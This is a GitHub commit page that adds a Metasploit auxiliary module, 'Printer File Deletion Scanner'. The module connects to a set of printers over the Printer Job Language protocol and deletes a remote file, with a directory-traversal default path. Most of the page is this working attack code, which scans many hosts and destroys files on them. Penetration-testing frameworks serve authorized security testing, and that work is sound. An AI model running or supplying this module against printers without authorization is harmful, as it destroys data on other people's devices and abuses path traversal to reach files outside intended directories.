Skip to content

Commit

Permalink
Add printer_delete_file module
Browse files Browse the repository at this point in the history
  • Loading branch information
wvu committed Feb 25, 2015
1 parent c95855f commit b3d4fc7
Showing 1 changed file with 57 additions and 0 deletions.
57 changes: 57 additions & 0 deletions modules/auxiliary/scanner/printer/printer_delete_file.rb
@@ -0,0 +1,57 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core"
require "rex/proto/pjl"

class Metasploit4 < Msf::Auxiliary

include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
"Name" => "Printer File Deletion Scanner",
"Description" => %q{
This module deletes a file on a set of printers using the
Printer Job Language (PJL) protocol.
},
"Author" => [
"wvu", # Rex::Proto::PJL and modules
"sinn3r", # RSpec tests
"MC", # Independent mixin and modules
"Myo Soe", # Independent modules
"Matteo Cantoni <goony[at]nothink.org>" # Independent modules
],
"References" => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
],
"License" => MSF_LICENSE
))

register_options([
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
OptString.new("PATH", [true, "Remote path", '0:\..\..\..\eicar.com'])
], self.class)
end

def run_host(ip)
path = datastore["PATH"]

connect
pjl = Rex::Proto::PJL::Client.new(sock)
pjl.begin_job

pjl.fsinit(path[0..1])
file = pjl.fsdelete(path)

pjl.end_job
disconnect

print_good("#{ip}:#{rport} - Deleted #{path}")
end

end

0 comments on commit b3d4fc7

Please sign in to comment.